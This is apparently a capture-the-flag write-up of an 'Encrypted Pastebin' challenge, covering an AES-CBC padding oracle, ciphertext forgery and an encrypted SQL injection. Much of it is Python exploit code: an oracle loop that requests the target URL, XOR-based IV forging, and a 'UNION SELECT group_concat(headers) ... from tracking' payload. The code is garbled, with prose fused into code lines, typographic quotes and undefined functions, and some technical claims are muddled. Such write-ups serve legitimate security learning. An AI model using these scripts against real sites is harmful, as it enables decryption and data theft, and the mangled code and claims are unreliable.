Encrypted Pastebin
This one needed attention as this is both easy but yet it is hard.
Couple of things I’ve learned from this one is that You have to focus on what this is actually vulnerable to… the CVE is there so you have to keep that in mind this isn’t all about Nostalgia
Tools used here:
- Padbuster
- Custom Python Scripts
What do we know?
- From the obvious, AES-128 CBC
- Not SSL (https)
- Doesn’t get stored in a database
- url/ dymanic directory / dymanic query?post=dynamic encrypted key.
- 4 exploits are to be found here for 4 ^FLAGS^
- Flag 1
This one is a given, the easiest of them all. Just delete a character in the encrypted key and it dumps the first flag but it also dumps alot of RICH information, I highly recommend to always pay attention to detail.
- Flag 2
FIrst clue was the Incorrect padding, this right of the bat we now know this is a poodle attack or something similar. Thanks to kali linux I found PadBuster that took care of this attack with decrypting the AES-128 that would also dump the key and the second flag.
- Flag 3
This clue is to know about the padded oracle attack that the first one was to decrypt it via Chain Blocking, this side I needed to decode it again with a Stream, RC4 Style. But… any tools I can find required an not encrypted key…. so I had to build something, that would cross, this took hours of running flag 2 over and over and how the data is being decrypted. So in thought lets see if I can use the website to decode it for me.
My thought was {Flag: ^flag2^ id: x , key: dynamic key} a clue,
and b64d = lambda x: base64.decodestring(x.replace(‘~’, ‘=’).replace(‘!’, ‘/’).replace(‘-‘, ‘+’)) was placed right there oh heck another clue I found was post = json.loads(decryptLink(postCt).decode(‘utf8’)).
So, I couldn’t find a tool I had to decode this in a streamline fashion.
In Python, I wrote. (test3)
import base64 //because base64
import requests //using requests with web forms.Decode the data defined.
def decode(data):
return base64.b64decode(data.replace(‘~’, ‘=’).replace(‘!’, ‘/’).replace(‘-‘, ‘+’))Re-encode the data defined,
def encode(data):
return base64.b64encode(data).decode(‘utf-8’).replace(‘=’, ‘~’).replace(‘/’, ‘!’).replace(‘+’, ‘-‘)#Remember XOR: was a hint, so we need to use XOR not decrypt it.
#So defining Bit XOR.
def bxor(b1, b2): # use xor for bytes
result = b””
for b1, b2 in zip(b1, b2):
result += bytes([b1 ^ b2])
return result#now define the url padding.
def test(url, data):
r = requests.get(url+’?post={}’.format(data))
if ‘PaddingException’ in r.text:
return False
else:
return True#now to define the iv calculations
def generate_iv_list(tail):
iv = b’\x00′ * (16 – len(tail) -1)
return [iv+bytes([change])+tail for change in range(0x00, 0xff+1)]#last is now we need to define the padding oracle.
def padding_oracle(real_iv, url, data):
index = 15
plains = bytes()
tail = bytes()
while index >= 0:
for iv in generate_iv_list(tail):
if test(url, encode(iv+data)):
plains = bytes([(16-index) ^ iv[index]]) + plains
index -= 1
tail = bytes([plain ^ (16-index) for plain in plains])
break
return bxor(real_iv, plains)now with some trial and error I came up with this.
post = ‘original encrypted dynmaic data’
data = decode(post)[16*(1+5):]
iv_6 = decode(post)[16*(1+4):16*(1+5)]
immediate = bxor(b’$FLAG$”, “id”: “‘, iv_6)
iv = bxor(immediate, b'{“id”:”1″, “i”:”‘)
print(encode(iv+data))This dumped data, encrypted but it was like in reverse and I took that and when used in the ?post= dropped flag 3 with another error.
- Flag 4
Now this one caught me with if they didn’t store data in an sql database doesn’t mean they don’t use SQL for defining data.
So we need to basically brute force attack the decryption using their stuff, using a SQL Injection. Here is what I wrote.
if __name__ == ‘__main__’:
url = ‘http://URL/Dynamic Folder/’
post = ‘Dynamic Encrypted Post’
ciphertext = decode(post)[16*6:16*7]
immediate = bxor(b’$FLAG$”, “id”: “‘, decode(post)[16*(1+4):16*(1+5)])plains = ‘{“id”:”0 UNION SELECT group_concat(headers), \’\’ from tracking”,”key”:”Dynamic Enc Key”}’
data = pad(plains.encode(‘utf-8’), 16)
block_amount = int(len(data) / 16)
index = block_amount
while True:
block = data[(index-1)*16: index*16]
print(‘meow:’)
print(block)
iv = bxor(immediate, block)
ciphertext = iv + ciphertext
index -= 1
if index > 0:
immediate = padding_oracle_decrypt(url, iv)
else:
break
print(encode(ciphertext))
This one threw me off because it dropped another key, this key dropped a new error that I didn’t pick up until I kept running it a few times (each time took over an hour)
but the error also http://127.0.0.1/url/?post=Another Encrypted Data Dynamic Key.
So I took that new encrypted data key and it dropped Flag 1 and a new flag 4.